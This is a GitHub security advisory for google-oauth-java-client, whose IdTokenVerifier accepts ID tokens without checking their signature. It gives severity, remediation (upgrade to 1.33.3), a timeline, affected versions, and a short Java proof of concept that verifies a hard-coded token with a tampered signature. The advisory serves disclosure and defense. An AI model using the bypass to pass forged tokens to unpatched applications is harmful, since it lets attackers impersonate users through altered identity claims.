GHSA-hw42-3568-wj87

Suggest an improvement
Source
https://github.com/advisories/GHSA-hw42-3568-wj87
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/04/GHSA-hw42-3568-wj87/GHSA-hw42-3568-wj87.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-hw42-3568-wj87
Aliases
Published
2024-04-09T15:11:24Z
Modified
2024-04-10T18:58:40.726201Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N CVSS Calculator
Summary
google-oauth-java-client improperly verifies cryptographic signature
Details

Summary

The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token's payload comes from valid provider, not from someone else.

An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application.

If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request.

Reporter: Tamjid al Rahat, contributor

Patches

The issue was fixed in the 1.33.3 version of the library

Proof of Concept

To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.

  /** A default http transport factory for testing */
  static class DefaultHttpTransportFactory implements HttpTransportFactory {
    public HttpTransport create() {
      return new NetHttpTransport();
    }
  }

// The below token has some modified bits in the signature
 private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE =    
"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" +
"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" +
"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" +
"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" +
"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" + 
"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" +
"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" + 
"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg";

IdTokenVerifier tokenVerifier =
        new IdTokenVerifier.Builder()
            .setClock(clock)
            .setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com")
            .setHttpTransportFactory(new DefaultHttpTransportFactory())
            .build();

// verification will return true despite modified signature for versions <1.33.3
tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));

Remediation and Mitigation

Update to the version 1.33.3 or higher

If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example: google-auth-library-java google-api-java-client

Timeline

Date reported: 12 Dec 2021 Date fixed: 13 Apr 2022 Date disclosed: 2 May 2022

For more information

If you have any questions or comments about this advisory: * Open an issue in the google-oauth-java-client repo

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-347"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-09T15:11:24Z"
}
References

Affected packages

Maven / com.google.oauth-client:google-oauth-client

Package

Name
com.google.oauth-client:google-oauth-client
View open source insights on deps.dev
Purl
pkg:maven/com.google.oauth-client/google-oauth-client

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.16.0-rc
Fixed
1.33.3

Affected versions

1.*

1.16.0-rc
1.17.0-rc
1.18.0-rc
1.19.0
1.20.0
1.21.0
1.22.0
1.23.0
1.24.1
1.25.0
1.26.0
1.27.0
1.28.0
1.29.0
1.29.2
1.30.1
1.30.2
1.30.3
1.30.4
1.30.5
1.30.6
1.31.0
1.31.1
1.31.2
1.31.4
1.31.4-sp.1
1.31.5
1.32.1
1.33.0
1.33.1
1.33.2